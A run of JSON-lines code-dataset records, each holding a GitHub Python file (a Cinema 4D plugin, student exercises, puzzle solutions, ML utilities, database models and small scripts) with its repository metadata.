self.Enable(ID_PROCESS_BTN, True)\n        \n        elif (id == ID_EXTRACT_BTN and self.extracted):\n            self.ClearExtraction()\n            self.extracted = False\n            self.SetString(ID_EXTRACT_BTN, \"Extract Instances\")\n            self.Enable(ID_PROCESS_BTN, False)\n\n        elif (id == ID_PROCESS_BTN):\n            self.extracted = False\n            self.SetString(ID_EXTRACT_BTN, \"Extract Instances\")\n            self.Enable(ID_PROCESS_BTN, False)\n            self.Process()\n\n\n\n        \n        elif id == ID_LINK_ABOUT:\n            about_dlg = AboutDialog()\n            about_dlg.Open(c4d.DLG_TYPE_MODAL, xpos=-2, ypos=-2)\n        elif id == ID_LINK_README:\n            webbrowser.open(ABOUT_LINK_README)\n        elif id == ID_LINK_WEBSITE:\n            webbrowser.open(ABOUT_TEXT_WEBSITE)\n        elif id == ID_SUPPORT_ME:\n            webbrowser.open(ABOUT_SUPPORT)\n                    \n        return True\n    \n\n    def CoreMessage(self, id, msg):\n        \"\"\"\n        Override this function if you want to react to Cinema 4D core messages. \n        The original message is stored in msg\n        \"\"\"     \n        if id == c4d.EVMSG_CHANGE:\n            pass\n        return True\n\nclass AboutDialog(c4d.gui.GeDialog):\n    def CreateLayout(self):\n        self.SetTitle(\"About\")\n        self.AddStaticText(ID_BLANK, c4d.BFH_CENTER, 0, 0, \"Instantce\")\n        self.AddStaticText(ID_BLANK, c4d.BFH_CENTER, 0, 0, VERSION_NUMBER)\n        self.AddStaticText(ID_BLANK, c4d.BFH_CENTER, 0, 0, \"Instantly recognize & replace identical objects with instances!\")\n        self.AddSeparatorH(c4d.BFH_SCALEFIT)\n        self.AddStaticText(ID_AUTHOR_TEXT, c4d.BFH_FIT, 0, 0, \"Authors:\\t\\tMarvin Jérôme Stephan & Darby Edelen\")\n        self.AddRadioText(ID_SUPPORT_ME, c4d.BFH_FIT, 0, 0, \"Support me:\\t\" + ABOUT_SUPPORT)\n        self.AddRadioText(ID_LINK_WEBSITE, c4d.BFH_FIT, 0, 0, \"Website:\\t\\t\" + ABOUT_TEXT_WEBSITE)\n        return True\n    \n    def Command(self, mid, msg):\n        if mid == ID_SUPPORT_ME:\n            webbrowser.open(ABOUT_SUPPORT)\n        elif mid == ID_LINK_WEBSITE:\n            webbrowser.open(ABOUT_TEXT_WEBSITE)\n        return True\n\n\nclass MainDialogCommand(c4d.plugins.CommandData):\n    dlg = None\n    def Execute(self, doc):\n        if self.dlg is None:\n            self.dlg = MainDialog()\n        return self.dlg.Open(c4d.DLG_TYPE_ASYNC, pluginid=PLUGIN_ID, defaultw=0, defaulth=0, xpos=-2, ypos=-2)\n    \n    def RestoreLayout(self, sec_ref):\n        if self.dlg is None:\n            self.dlg = MainDialog()\n        return self.dlg.Restore(pluginid=PLUGIN_ID, secret=sec_ref)\n\nif __name__=='__main__':\n    directory, _ = os.path.split(__file__)\n    icon = os.path.join(directory, \"res\", \"Instantce.tif\")\n    bmp = c4d.bitmaps.BaseBitmap()\n    if bmp.InitWith(icon)[0] != c4d.IMAGERESULT_OK:\n        raise MemoryError(\"Failed to initialize the BaseBitmap.\")\n    c4d.plugins.RegisterCommandPlugin(id=PLUGIN_ID, \n                                      str=\"Instantce!\", \n                                      info=0, \n                                      help=\"Instantly recognize & replace identical objects with instances!\", \n                                      dat=MainDialogCommand(), \n                                      icon=bmp)","repo_name":"HerzogVonWiesel/Instantce","sub_path":"Instantce.pyp","file_name":"Instantce.pyp","file_ext":"pyp","file_size_in_byte":31642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36279352122","text":"# Command + B: Go to def.\n# Command + [, ]: Back, Forward\n# Alt + Space: Preview (이거 진짜 강추)\n# Command + Shift + F: Find all\n# Command + L: Go to line\n# Alt + Command + O: Go to symbol (Anything)\n# F3: Toggle bookmark\n# Alt + F3: Toggle custom bookmark (Numeric, Alphabet..)\n# Command + F3: Show bookmarks\n# Ctrl + R: Run\n# Ctrl + D: Debug\n# Command + R: Rerun\n# Shift + Command + R: Resume on debugging\n# Command + F2: Stop\n# Shift + F6: Rename\n# Command + F8: Toggle break point\n#option+shift+e\n\n\n##############################################\n#4/24 return과 break차이점\ndef stop_func(num):\n    for i in range(1,num+1):\n        print('숫자 {0}을 출력합니다'.format(i))\n        if i == 5:\n            retrun #리턴 뒤에 아무것도 안적어주면 함수 종료 #break랑 뭐가 다른가\nstop_func(10)\n\n#ex151)아래와 같이 숫자를 입력하고 함수를 실행하면 숫자가 세로로 출력되게 하시오\n#print_something(1,2,3,4,5) #얼마든지 숫자를 쓸 수 있어야함\n\ndef print_someting(*num_list):\n    for i in num_list:\n        print(i)\n\nprint_someting(1,2,3,4,5) #print쓰면 none하고 같이 출력/ 함수 쓰면 그냥 나옴\n\n\ndef factorial(num):                         #10\n    if num > 1:\n        return factorial(num-1) * num       #10-1=9\n    elif num == 1:\n        return 1\n\nprint(factorial(5))\n\n\ndef mult(a, b):\n    if b == 0:\n        return 0\n    rest = mult(a, b - 1)\n    value = a + rest\n    return value\nprint(\"3 * 2 = \", mult(3, 2))\n\n\n","repo_name":"misoniiii/PythonClass","sub_path":"i_wanna/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33934441465","text":"with open(\"input24.txt\") as f:\n    content = f.readlines()\n\npart1 = 0\nblack_tiles = []\n\nfor cur_line in content:\n    cur_line = cur_line.strip()\n    line_index = 0\n    cur_coord = [0, 0]\n    while line_index < len(cur_line):\n        if cur_line[line_index] == 'e':\n            cur_coord[1] += 1\n            line_index += 1\n            continue\n        if cur_line[line_index] == 'w':\n            cur_coord[1] -= 1\n            line_index += 1\n            continue\n        if cur_line[line_index] == 'n' and cur_line[line_index + 1] == 'e':\n            cur_coord[0] += 1\n            cur_coord[1] += 0.5\n            line_index += 2\n            continue\n        if cur_line[line_index] == 'n' and cur_line[line_index + 1] == 'w':\n            cur_coord[0] += 1\n            cur_coord[1] -= 0.5\n            line_index += 2\n            continue\n        if cur_line[line_index] == 's' and cur_line[line_index + 1] == 'e':\n            cur_coord[0] -= 1\n            cur_coord[1] += 0.5\n            line_index += 2\n            continue\n        if cur_line[line_index] == 's' and cur_line[line_index + 1] == 'w':\n            cur_coord[0] -= 1\n            cur_coord[1] -= 0.5\n            line_index += 2\n            continue\n\n    cur_coord = (cur_coord[0], cur_coord[1])\n    if cur_coord in black_tiles:\n        black_tiles.remove(cur_coord)\n    else:\n        black_tiles.append(cur_coord)\n\npart1 = len(black_tiles)\nprint(\"part 1 = \" + str(part1))\n\n\ndef count_adjacent(tile_coords):\n    num_adjacent_black = 0\n    adjacent_white = []\n    directions = [(0, 1), (0, -1), (1, 0.5), (1, -0.5), (-1, 0.5), (-1, -0.5)]\n    for direction in directions:\n        adjacent_tile = (tile_coords[0] + direction[0], tile_coords[1] + direction[1])\n        if adjacent_tile in black_tiles:\n            num_adjacent_black += 1\n        else:\n            adjacent_white.append(adjacent_tile)\n    return (num_adjacent_black, adjacent_white)\n\n\nfor move_num in range(100):\n    new_black_tiles = []\n    white_adjacent_to_old_black_tiles = []\n    for black_tile in black_tiles:\n        (adjacent_black_num, adjacent_white) = count_adjacent(black_tile)\n        if adjacent_black_num in [1, 2]:\n            new_black_tiles.append(black_tile)\n        for white_tile in adjacent_white:\n            (adjacent_black_num, _) = count_adjacent(white_tile)\n            if adjacent_black_num == 2:\n                new_black_tiles.append(white_tile)\n    new_black_tiles = list(set(new_black_tiles))\n    black_tiles = new_black_tiles\n\npart2 = len(black_tiles)\nprint(\"part 2 = \" + str(part2))\n","repo_name":"dzolotusky/advent-of-code","sub_path":"2020/24/24.2.py","file_name":"24.2.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36021034111","text":"class Matrix:\n    def __init__(self):\n        self.a_matrix = []\n    def insertmatrix(self,row,col):\n        for r in range(row):\n            temp = []\n            for c in range(col):\n                print(\"r \",r,\" c \",c,end=\" \")\n                temp.append(int(input()))\n            self.a_matrix.append(temp)\n    \n    def colprediction(self,row,col):\n        temp = []\n        for c in range(col):\n            temp.append(0)\n        print(temp)\n        for r in range(row):\n            for c in range(col):\n                if self.a_matrix[r][c] == 0:\n                    temp[c] = temp[c] + 1\n                else:\n                    temp[c] = temp[c] + 0\n        count = -1\n        for c in range(col-1):\n            if temp[c] > temp[c+1]:\n                count = c\n            elif temp[c] < temp[c+1]:\n                count = c+1\n        print(count)\n    \nif __name__==\"__main__\":\n    t = int(input(\"t \"))\n    for i in range(t):\n        m = Matrix()\n        row = int(input(\"row \"))\n        col = int(input(\"col \"))\n        m.insertmatrix(row,col)\n        m.colprediction(row,col)\n","repo_name":"aarjukhicher/geeksprogram","sub_path":"Matrix/col_prediction.py","file_name":"col_prediction.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"53930951986","text":"from pydub import AudioSegment\nimport os, re\n\n\ncount = 1 #start from 2 in for-loop\n\ndir = \"./Unit10\"\n\nprint(len(os.listdir(dir)))\n\nallSong = AudioSegment.from_mp3(dir + \"/1.mp3\")\nfiveSecBlank = AudioSegment.from_mp3(\"blank.mp3\") # 5 sec blank\nendListening = AudioSegment.from_mp3(\"end_listening.mp3\") # End of Listening\ndbAllSong = allSong.dBFS\n\nfor each in os.listdir(dir):\n\tcount = count + 1\n\tif count >= len(os.listdir(dir)) :\n\t\tbreak;\n\tfilename = dir + \"/\" + str(count) + \".mp3\"\n\tif filename:\n\t\tprint(\"Adding \" + filename)\n\t\tsong = AudioSegment.from_mp3(filename)\n\t\tdbSong = song.dBFS\n\t\tdbplus = dbAllSong - dbSong\n\t\tif dbplus < 0:\n\t\t\tdbAllSong+=abs(dbplus)\n\t\telif dbplus > 0:\n\t\t\tdbSong+=abs(dbplus)\n\t\tallSong = allSong + fiveSecBlank + song\n\nprint (\"Add Ending\")\nallSong = allSong + fiveSecBlank + endListening\n\nallSong.export(dir + \"/Unit1.mp3\", format=\"mp3\") #导出为MP3格式\nprint (\"End Generating\")\n\n\"\"\"\nfilename[0] += '.mp3'\nmp3 = AudioSegment.from_mp3(filename[0]) # 打开mp3文件\nmp3[17*1000+500:].export(filename[0], format=\"mp3\") # 切割前17.5秒并覆盖保存\n\n\nnPath = \"%s%s/%s\"%(enDir,file,enfile) #英文文件的路径\ncnPath = \"%s%s/%s\"%(cnDir,file,enfile.replace(\"en_w\",\"cn_w\"))#中文文件的路径\ntargetPath = \"%s%s/%s\"%(toDir,file,enfile.replace(\"en_w\",\"all\")) #合并文件的路径\n\n#加载MP3文件\nsong1 = AudioSegment.from_mp3(enPath)\nsong2 = AudioSegment.from_mp3(cnPath)\n \n#取得两个MP3文件的声音分贝\ndb1 = song1.dBFS\ndb2 = song2.dBFS\n \nsong1 = song1[300:] #从300ms开始截取英文MP3\n \n#调整两个MP3的声音大小，防止出现一个声音大一个声音小的情况\ndbplus = db1 - db2\nif dbplus < 0: # song1的声音更小\n    song1+=abs(dbplus)\nelif dbplus > 0: #song2的声音更小\n    song2+=abs(dbplus)\n \n#拼接两个音频文件\nsong = song1 + song2\n \n#导出音频文件\nsong.export(targetPath, format=\"mp3\") #导��为MP3格式\"\"\"","repo_name":"zwm0426/combine-word-listening","sub_path":"combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"16"}
+{"seq_id":"15511554322","text":"# หากถามว่าระหว่างข้อมูลส่วนตัวและความปลอดภัยนั้น สิ่งใดสำคัญกว่ากัน\n# สำหรับนักวิทยาการคอมพิวเตอร์แล้ว การรักษาความปลอดภัยของข้อมูลส่วนตัวเป็นสิ่งที่ต้องคำนึงสูงสุด\n# วิธีการหนึ่งของการรักษาความปลอดภัยของข้อมูล คือการเข้ารหัสข้อมูลให้ไม่สามารถถอดรหัสได้\n# เพียงเพื่อใช้ในขั้นตอนการตรวจสอบข้อมูลว่าตรงกันเท่านั้น\n# ในข้อนี้จะนำเสนอวิธีการเข้ารหัสแบบง่ายรูปแบบหนึ่ง โดยนำประโยคข้อความภาษาอังกฤษมาแบ่งเป็นคำ\n# ซึ่งแต่ละคำจะแบ่งตามช่องว่างในประโยค แล้วนำตัวอักษรมาแปลงเป็นค่าแฮช (value) โดยคำนวณจาก\n\n# value = (Alphabet Position) + (Position in Word)\n\n# Alphabet Position คือลำดับของตัวอักษรภาษาอังกฤษ\n# โดยให้ตัวอักษร A หรือ a มีค่า Alphabet Position เป็น 0,\n# ตัวอักษร B หรือ b มีค่า Alphabet Position เป็น 1,\n# ตัวอักษร C หรือ c มีค่า Alphabet Position เป็น 2\n# เป็นเช่นนี้ไปเรื่อย ๆ จนกระทั่งถึงตัวอักษร Z หรือ z มีค่า Alphabet Position เป็น 25\n\n# Position in Word คือตำแหน่งของตัวอักษรในคำ เริ่มจากตำแหน่ง 0 คือตัวอักษรตัวแรกของคำ\n\n# ตัวอย่างค่าแฮชข้อความ \"DATA HASH\" คือ 66\n# ได้จากผลรวมค่าแฮชของ D + A + T + A + H + A + S+ H = 3 + 1 + 21 + 3 + 7 + 1 + 20 + 10 = 66\n# ซึ่งคำนวณดังนี้\n\n# คำว่า DATA\n#         D มีค่าแฮชเป็น 3 = 3 + 0        A (ตัวถัดจาก D) มีค่าแฮชเป็น 1 = 0 + 1\n#         T มีค่าแฮชเป็น 21 = 19 + 2      A (ตัวสุดท้ายของคำว่า DATA) มีค่าแฮชเป็น 3 = 0 + 3\n    \n# คำว่า HASH\n#         H (ตัวแรก) มีค่าแฮชเป็น 7 = 7 + 0   A (ตัวถัดจาก H) มีค่าแฮชเป็น 1 = 0 + 1\n#         S มีค่าแฮชเป็น 20 = 18 + 2      H (ตัวสุดท้าย) มีค่าแฮชเป็น 10 = 7 + 3\n\n    \n\n# ให้นิสิตเขียนโปรแกรมเพื่อหาค่าแฮชของข้อความที่ต้องการเข้ารหัส\n# ข้อมูลเข้า\n# บรรทัดเดียว เป็นข้อความภาษาอังกฤษที่ต้องการเข้ารหัส ประกอบด้วยตัวอักษรหรือช่องว่างเท่านั้น ไม่มีตัวเลขหรืออักขระพิเศษ\n# ข้อมูลออก\n# ค่าแฮชที่ได้จากการเข้ารหัสข้อความตามวิธีข้างต้น\n# ตัวอย่างข้อมูลออก/ข้อมูลออก\n# ข้อมูลเข้า\tข้อมูลออก\n\n                \n# DATA HASH\n                \n\n            \t\n                \n# 66\n                \n\n            \n\n                \n# privacy or security\n                \n\n            \t\n                \n# 280\n                \n\n            \n\n                \n# z z z z z z\n                \n\n            \t\n                \n# 150\n                \n\n            \n\n                \n# SLEEPY zzz ZZZ\n                \n\n            \t\n                \n# 247\n\ntext = input()\ntext = text.lower()\n\ntext = text.split(\" \")\n\ntotal = 0\n\nfor t in text:\n    for i in range(len(t)):\n        hashy = (ord(t[i]) - 97) + i\n        total += hashy\n\nprint(total)","repo_name":"3xbun/elab-cpe","sub_path":"final_test62/A4.py","file_name":"A4.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40855052978","text":"import logging\nimport time\n\nfrom acoustid.data.stats import (\n    NUM_PARTITIONS,\n    unpack_user_agent_stats_key,\n    update_user_agent_stats,\n)\nfrom acoustid.script import Script\nfrom acoustid.tasks import enqueue_task\nfrom acoustid.utils import call_internal_api\n\nlogger = logging.getLogger(__name__)\n\n\ndef run_update_all_user_agent_stats(script: Script) -> None:\n    delay = 60.0 / NUM_PARTITIONS\n    with script.context() as ctx:\n        for partition in range(-1, NUM_PARTITIONS):\n            enqueue_task(ctx, \"update_user_agent_stats\", {\"partition\": partition})\n            time.sleep(delay)\n\n\ndef run_update_user_agent_stats(script: Script, partition: int):\n    if partition == -1:\n        root_key = \"ua\"\n    else:\n        root_key = f\"ua:{partition:02x}\"\n    logger.info(\"Updating user agent stats (key %s)\", root_key)\n    db = script.db_engines[\"app\"].connect()\n    redis = script.get_redis()\n    for key, count in redis.hgetall(root_key).items():\n        count = int(count)\n        date, application_id, user_agent, ip = unpack_user_agent_stats_key(key)\n        if not count:\n            # the only way this could be 0 is if we already processed it and\n            # nothing touched it since then, so it's safe to delete\n            redis.hdel(root_key, key)\n        else:\n            if script.config.cluster.role == \"master\":\n                update_user_agent_stats(db, application_id, date, user_agent, ip, count)\n            else:\n                call_internal_api(\n                    script.config,\n                    \"update_user_agent_stats\",\n                    application_id=application_id,\n                    date=date,\n                    user_agent=user_agent,\n                    ip=ip,\n                    count=count,\n                )\n            redis.hincrby(root_key, key, -count)\n","repo_name":"acoustid/acoustid-server","sub_path":"acoustid/scripts/update_user_agent_stats.py","file_name":"update_user_agent_stats.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"16"}
+{"seq_id":"33160706188","text":"import sys\n\nsys.setrecursionlimit(10 ** 6)\n\n\nclass Tree:\n    def __init__(self, data, left=None, right=None):\n        self.data = data\n        self.left = left\n        self.right = right\n\n\npre, post = [], []\n\n\ndef preorder(node, nodeinfo):\n    pre.append(nodeinfo.index(node.data) + 1)\n    if node.left:\n        preorder(node.left, nodeinfo)\n    if node.right:\n        preorder(node.right, nodeinfo)\n\n\ndef postorder(node, nodeinfo):\n    if node.left:\n        postorder(node.left, nodeinfo)\n    if node.right:\n        postorder(node.right, nodeinfo)\n    post.append(nodeinfo.index(node.data) + 1)\n\n\ndef solution(nodeinfo):\n    answer = []\n    sort_node = sorted(nodeinfo, key=lambda x: (-x[1], x[0]))\n    root = None\n    for node in sort_node:\n        if not root:\n            root = Tree(node)\n        else:\n            cur = root\n            while 1:\n                if node[0] < cur.data[0]:\n                    if cur.left:\n                        cur = cur.left\n                        continue\n                    else:\n                        cur.left = Tree(node)\n                        break\n                if node[0] > cur.data[0]:\n                    if cur.right:\n                        cur = cur.right\n                        continue\n                    else:\n                        cur.right = Tree(node)\n                        break\n                break\n    preorder(root, nodeinfo)\n    postorder(root, nodeinfo)\n    answer.append(pre)\n    answer.append(post)\n    return answer\n","repo_name":"nem-sh/algorithm-solving","sub_path":"2019 KAKAO BLIND RECRUITMENT/길 찾기 게임_다솜.py","file_name":"길 찾기 게임_다솜.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5221292696","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom django.db import IntegrityError\nfrom gitpm.models import (EventLog, EventLogFields, Repository)\nfrom bson.objectid import ObjectId\n\ndef get_eventLog_name(log_name):\n  try:\n    logName = EventLog.objects.filter(\n      name=log_name).only('name')\n    return list(logName)\n  except ObjectDoesNotExist:\n    return None\n\ndef validate_name(log_name):\n    message = ''\n    modified = False\n    logName = log_name\n    while get_eventLog_name(logName):\n      modified = True\n      if '_copy' in logName:\n        op = logName.split('_copy')\n        logName = op[0] + '_copy' + str(int(op[1]) + 1)\n      else:\n        logName += '_copy1'\n\n    if modified:\n      message = 'A log with the name provided already exists, changed name to {}'.format(logName)\n    return {\n      'logName': logName,\n      'message': message,\n      'modified': modified\n    }\n\ndef get_repositoryInEventLog(log_name):\n  log = list(EventLog.objects.filter(\n    name=log_name))\n  if len(log) > 1:\n    raise IntegrityError\n  log = log[0]\n  repo = list(Repository.objects.filter(\n    _id=ObjectId(log.repository_id)\n  ))\n  return repo[0]\n\ndef get_eventLog(log_name):\n  log = list(EventLog.objects.filter(\n      name=log_name))\n  if len(log) > 1:\n    raise IntegrityError\n  logEntries = list(EventLogFields.objects.filter(\n    log=log[0]._id\n  ))\n  return {'log': log, 'entries': logEntries}\n\n","repo_name":"kaniakl/gitpm","sub_path":"web/server/gitpm/queries/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71320065607","text":"import os\n\nimport numpy as np\n\nfrom nas_big_data.combo.load_data import load_data, load_data_npz_gz\nimport autosklearn.regression\nfrom sklearn.metrics import r2_score, mean_absolute_error, mean_squared_error\n\nHERE = os.path.dirname(os.path.abspath(__file__))\n\n\nautoml = autosklearn.regression.AutoSklearnRegressor(\n    time_left_for_this_task=160,\n    per_run_time_limit=30,\n    tmp_folder=os.path.join(HERE, 'autosklearn_regression_example_tmp'),\n    output_folder=os.path.join(HERE, 'autosklearn_regression_example_out'),\n    memory_limit = 100 * 1024 # 100 GB\n)\n\n(X_train, y_train), _ = load_data()\n\nX_train = np.concatenate(X_train, axis=1)\n\nautoml.fit(X_train, y_train, dataset_name='combo')\n\nX_test, y_test = load_data_npz_gz(test=True)\nX_test = np.concatenate(X_test, axis=1)\n\ny_pred = automl.predict(X_test)\n\nr2 = r2_score(y_test, y_pred)\nmae = mean_absolute_error(y_test, y_pred)\nmse = mean_squared_error(y_test, y_pred)\n\nprint(f\"Test - mse: {mse:.3f}, mae: {mae:.3f}, r2: {r2:.3f}\")\n\n\n","repo_name":"deephyper/NASBigData","sub_path":"nas_big_data/combo/autosklearn/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"42435982024","text":"from typing import Any, Callable, List, Optional, Tuple\n\nimport torch\nfrom PIL import Image\nfrom torch import Tensor\nfrom torch.utils.data import Dataset\n\n\nclass ListDataset(Dataset):\n    def __init__(self, list_file_path: str, transform: Optional[Callable] = None) -> None:\n        super().__init__()\n\n        self.items: List[Tuple[Image.Image, Tensor]] = []\n\n        with open(list_file_path) as f:\n            lines = [line.strip() for line in f.readlines()]\n\n        for line in lines:\n            img_path, label = line.split(\",\")\n            img = Image.open(img_path).convert(\"RGB\")\n            label = torch.tensor(int(label), dtype=torch.long)\n            self.items.append((img, label))\n\n        self.transform = transform\n\n    def __len__(self) -> int:\n        return len(self.items)\n\n    def __getitem__(self, index: int) -> Tuple[Any, Tensor]:\n        img, label = self.items[index]\n        if self.transform:\n            img = self.transform(img)\n\n        return img, label\n","repo_name":"CVLAB-Unibo/netspace","sub_path":"data/listdset.py","file_name":"listdset.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"20940969531","text":"import pygame as pg\nimport math\n\n\ndef collatz(n):\n  sequenz = []\n  while n > 1:\n    sequenz.append(n % 2 == 0)\n    n = n // 2 if n % 2 == 0 else n * 3 + 1\n  sequenz.append(False)\n  return sequenz[::-1]\n\n\ndef rotate(winkel):\n  winkel = math.radians(winkel)\n  x = (math.cos(winkel) - math.sin(winkel)) * SCALE\n  y = (math.sin(winkel) + math.cos(winkel)) * SCALE\n  return x, -y\n\n\nBREITE, HÖHE = 1000, 1000\npg.init()\nscreen = pg.display.set_mode([BREITE, HÖHE])\nscreen.fill((0, 0, 0))\nfarbe = pg.Color(0)\npg.mouse.set_visible(False)\n\nSCALE = 3\nWINKELSCHRITT = 8\n\nfor n in range(100_000):\n  sequenz = collatz(n)\n  start_x, start_y = BREITE // 2.5, HÖHE\n  winkel = 0\n  for even in sequenz:\n    winkel = winkel + WINKELSCHRITT if even else winkel - WINKELSCHRITT * 1.8\n    farbe.hsva = (winkel % 360, 100, 70)\n    x1, y1 = rotate(winkel)\n    ziel_x, ziel_y = start_x + x1, start_y + y1\n    pg.draw.line(screen, farbe, (start_x, start_y), (ziel_x, ziel_y), 1)\n    start_x, start_y = ziel_x, ziel_y\n  if n % 2000 == 0:\n    pg.display.flip()\n\npg.mouse.set_visible(True)\n\nweitermachen = True\nwhile weitermachen:\n  for ereignis in pg.event.get():\n    if ereignis.type == pg.QUIT or (ereignis.type == pg.KEYDOWN and\n                                    ereignis.key == pg.K_ESCAPE):\n      weitermachen = False\npg.quit()\n","repo_name":"Buettovan/flappy_bird_G18E","sub_path":"Teil_xx_Collatz.py","file_name":"Teil_xx_Collatz.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70918825288","text":"from sqlalchemy import (Column, Integer, String, Boolean,\n                        Float, ForeignKey, DateTime,)\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\n\nclass Tutorial(Base):\n    __tablename__ = 'tutorial'\n    id = Column(Integer, primary_key=True)\n    order_id = Column(Integer, unique=True)\n    content = Column(Integer, unique=True)\n\n    @property\n    def words(self):\n        return len(self.content.split(' '))\n\n\nclass User(Base):\n    __tablename__ = 'user'\n    id = Column(Integer, primary_key=True)\n    username = Column(String, unique=True)\n    email = Column(String, unique=True)\n    password = Column(String)\n    salt = Column(String)\n    superuser = Column(Boolean)\n    next_tutorial_order_id = Column(Integer, ForeignKey(Tutorial.order_id), default=1)\n    tutorial = relationship(Tutorial, backref='users')\n\n    def __str__(self):\n        return f'{self.id} | {self.username} | {self.email} | {self.password}'\n\n\nclass Text(Base):\n    __tablename__ = 'text'\n    id = Column(Integer, primary_key=True)\n    content = Column(String, unique=True)\n\n    @property\n    def words(self):\n        return len(self.content.split(' '))\n\n\nclass SpeedTest(Base):\n    __tablename__ = 'speedtest'\n    id = Column(Integer, primary_key=True)\n    user_id = Column(Integer, ForeignKey(User.id))\n    user = relationship(User, backref='speedtests')\n    text_id = Column(Integer, ForeignKey(Text.id))\n    text = relationship(Text, backref='speedtests')\n    words_per_minute = Column(Float)\n    when = Column(DateTime)\n","repo_name":"dzhelek/Touch-typing-tutorial","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"12850939690","text":"import numpy as np\n\n# Initialize Weights (and biases)\ndef initialize_weight(shape, bias=True, initializer=\"xavier\"):\n    \"\"\"\n    Initialize weights according to initializer\n    [1] [ReLU] He Initialization : https://arxiv.org/pdf/1502.01852\n    [2] [Tanh] Xavier(Caffe version)\n    [3] [Sigmoid] Xavier Initialization : http://proceedings.mlr.press/v9/glorot10a/glorot10a.pdf\n    \"\"\"\n    if (initializer==\"He\"):      # \n        w = np.random.randn(*shape) * np.sqrt(2/shape[0])\n        b = np.random.randn(1, shape[1]) * np.sqrt(2/shape[0])\n    elif (initializer==\"xavier\"):  \n        w = np.random.randn(*shape) * np.sqrt(1/shape[0])\n        b = np.random.randn(1, shape[1]) * np.sqrt(1/shape[0])\n    elif (initializer==\"xavier_orig\"):\n        assert shape[0] > shape[1] # Original two-sided Xavier initialization\n        w = np.random.randn(*shape) * np.sqrt(2/(shape[0]-shape[1]))\n        b = np.random.randn(1, shape[1]) * np.sqrt(2/(shape[0]-shape[1]))\n    \n    if (~bias):\n        b = np.zeros((1, shape[1]))\n        \n    return w, b","repo_name":"rrmina/eureka","sub_path":"eureka/initializer.py","file_name":"initializer.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"38843169694","text":"import sys\nimport numpy as np\nfrom matplotlib import pyplot\nimport usb.core\nimport usb.util\nfrom xcore_ai_ie import xcore_ai_ie_usb, xcore_ai_ie_spi\n\nie = xcore_ai_ie_usb()\nie.connect()\n\nfor i in range (1):\n  #INPUT_SHAPE = (32, 128, 3)\n  INPUT_SHAPE = (160, 160, 3)\n  #INPUT_SHAPE = (16, 66, 1)\n\n  # Get image from device\n  #ie.acquire_set_i2c(0x3C, 0xfe, 0x00)\n  #ie.acquire_set_i2c(0x3C, 0x84, 0x03)\n  ie.start_acquire_single(400, 1200, 200, 1000, 160, 160)\n  #raw_img = ie.read_input_tensor(engine_num = 1)\n  raw_img = ie.read_input_tensor(engine_num = 0)\n  print(len(raw_img))\n  raw_img = raw_img[:INPUT_SHAPE[0]*INPUT_SHAPE[1]*INPUT_SHAPE[2]]\n  print(len(raw_img))\n  np_img = np.asarray(raw_img).reshape(INPUT_SHAPE)\n  rgb = np_img + np.asarray([128,128,128])\n  pyplot.imshow(rgb)\n  pyplot.show(block = True)\n  pyplot.pause(0.1)\npyplot.pause(1)\n    \n            \n","repo_name":"xmos/aisrv","sub_path":"app_alpr/recv_picture.py","file_name":"recv_picture.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13770309062","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date    : 2017-03-20 16:18:07\n# @Author  : Your Name (you@example.org)\n# @Link    : http://example.org\n# @Version : $Id$\n\nimport os\nimport sys\n\n#获取脚本路径\ndef cur_file_dir():\n    pathx = sys.argv[0]\n    path,_file = os.path.split(pathx)\n    if cmp(path,'') == 0:\n        path = sys.path[0]\n    #判断为脚本文件还是py2exe编译后的文件，如果是脚本文件，则返回的是脚本的目录，如果是py2exe编译后的文件，则返回的是编译后的文件路径\n    if os.path.isdir(path):\n        return path\n    elif os.path.isfile(path):\n        return os.path.dirname(path)\n    \n#获取父目录\ndef GetParentPath(strPath):\n    if not strPath:\n        return None;\n    lsPath = os.path.split(strPath);\n    if lsPath[1]:\n        return lsPath[0];\n    lsPath = os.path.split(lsPath[0]);\n    return lsPath[0];\n\n#获取所有界面的json文件列表\ndef getAllExtFile(path,fromatx = \".txt\"):\n    jsondir = path\n    jsonfilelist = []\n    for root, _dirs, files in 